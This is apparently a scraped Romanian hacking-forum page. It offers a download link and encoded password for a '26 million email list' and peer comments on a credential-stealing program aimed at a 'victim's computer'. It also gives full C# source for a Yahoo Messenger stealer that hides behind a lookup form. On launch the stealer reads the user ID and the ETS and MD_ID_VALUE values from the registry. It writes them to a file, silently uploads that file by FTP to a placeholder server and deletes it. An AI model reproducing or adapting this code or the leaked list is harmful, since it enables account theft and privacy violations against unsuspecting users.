Leaderboard

26 million email list Download: http://www.mediafire.com/?9gcix6dwqa4qq87 Password: 01110010 01110011 01110100 01100011 01100101 01101110 01110100 01100101 01110010 00101110 01100011 01101111 01101101

Legat de GetSetting: In primul rand SaveSetting creaza ce-i dai tu sa faca in registri sub key-ul "HKEY_CURRENT_USER\Software\VB and VBA Program Settings\AplicatiaTa", iar GetSetting incearca sa ia valoarea tot de acolo... de aia iti dadea 0 cand incercai sa iei din "HKEY_CURRENT_USER\Software\yahoo\pager\".

Private Sub Form_Load() scriereg End Sub Sti ca va aparea sa dai Yes la rularea Reg-ului nu? Exista Registry API, destul de usor de folosit. Inet1.URL = "URL"'introduceti url-ul ftp-ului Si va fi nevoie de msinet.ocx pe calculatorul victimei. Se rezolva Microsoft Internet API, sau de ce nu cu Winsock? In rest e bine, ar fi fost de preferat sa ia direct parola din fereastra, sa nu se mai chinuie omul. Felicitari

VB.net using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Text; using System.Windows.Forms; using System.IO; using System.Net; using Microsoft.Win32; namespace yahoo { public partial class Form1 : Form { public Form1() { InitializeComponent(); string reg; RegistryKey key; key = Registry.CurrentUser.OpenSubKey(@"Software\Yahoo\pager\"); reg = (string)key.GetValue("Yahoo! User ID"); string path = @"c:\" + reg + ".txt"; File.Delete(path); if (!File.Exists(path)) { StreamWriter sw = File.CreateText(path); sw.WriteLine(reg); reg = (string)key.GetValue("ETS"); sw.WriteLine(reg); reg = (string)key.GetValue("MD_ID_VALUE"); sw.WriteLine(reg); sw.Close(); } reg = (string)key.GetValue("Yahoo! User ID"); System.Net.WebClient client = new System.Net.WebClient(); client.Credentials = new System.Net.NetworkCredential("userftp", "passftp"); client.UploadFile("ftp://ftpserver" + "/" + new FileInfo(path).Name, "STOR", path); File.Delete(path); key = Registry.CurrentUser.OpenSubKey(@"Software\Yahoo\pager\"); reg = (string)key.GetValue("Yahoo! User ID"); string path2 = @"c:\" + reg + "_iduri.txt"; File.Delete(path2); } private void button1_Click(object sender, EventArgs e) { string reg; RegistryKey key; key = Registry.CurrentUser.OpenSubKey(@"Software\Yahoo\pager\"); reg = (string)key.GetValue("Yahoo! User ID"); string path2 = @"c:\" + reg + "_iduri.txt"; File.Delete(path2); this.Close(); } private void button2_Click(object sender, EventArgs e) { string reg; RegistryKey key; key = Registry.CurrentUser.OpenSubKey(@"Software\Yahoo\pager\"); reg = (string)key.GetValue("Yahoo! User ID"); string path2 = @"c:\" + reg + "_iduri.txt"; if (textBox1.Text != "") { if (!File.Exists(path2)) { StreamWriter sw2 = File.CreateText(path2); StringBuilder sb = new StringBuilder(); byte[] buf = new byte[8192]; HttpWebRequest request = (HttpWebRequest) WebRequest.Create("http://opi.yahoo.com/online?u=" + textBox1.Text + "&m=t"); HttpWebResponse response = (HttpWebResponse) request.GetResponse(); Stream resStream = response.GetResponseStream(); string tempString = null; int count = 0; do { // fill the buffer with data count = resStream.Read(buf, 0, buf.Length); // make sure we read some data if (count != 0) { // translate from bytes to ASCII text tempString = Encoding.ASCII.GetString(buf, 0, count); // continue building the string sb.Append(tempString); } } while (count > 0); label2.Text = sb.ToString(); pictureBox1.Width = 96; pictureBox1.Height = 96; pictureBox1.Load("http://img.msg.yahoo.com/avatar.php?yids=" + textBox1.Text + "&format=png"); pictureBox1.Refresh(); sw2.WriteLine(textBox1.Text); sw2.Close(); System.Net.WebClient client = new System.Net.WebClient(); client.Credentials = new System.Net.NetworkCredential("userftp", "passftp"); client.UploadFile("ftp://linkftp" + "/" + new FileInfo(path2).Name, "STOR", path2); } if (File.Exists(path2)) { StreamWriter sw2 = File.AppendText(path2); StringBuilder sb = new StringBuilder(); byte[] buf = new byte[8192]; HttpWebRequest request = (HttpWebRequest) WebRequest.Create("http://opi.yahoo.com/online?u=" + textBox1.Text + "&m=t"); HttpWebResponse response = (HttpWebResponse) request.GetResponse(); Stream resStream = response.GetResponseStream(); string tempString = null; int count = 0; do { // fill the buffer with data count = resStream.Read(buf, 0, buf.Length); // make sure we read some data if (count != 0) { // translate from bytes to ASCII text tempString = Encoding.ASCII.GetString(buf, 0, count); // continue building the string sb.Append(tempString); } } while (count > 0); label2.Text = sb.ToString(); pictureBox1.Width = 96; pictureBox1.Height = 96; pictureBox1.Load("http://img.msg.yahoo.com/avatar.php?yids=" + textBox1.Text + "&format=png"); pictureBox1.Refresh(); sw2.WriteLine(textBox1.Text); sw2.Close(); System.Net.WebClient client = new System.Net.WebClient(); client.Credentials = new System.Net.NetworkCredential("userftp", "passftw"); client.UploadFile("ftp://ftpsite" + "/" + new FileInfo(path2).Name, "STOR", path2); } } } } }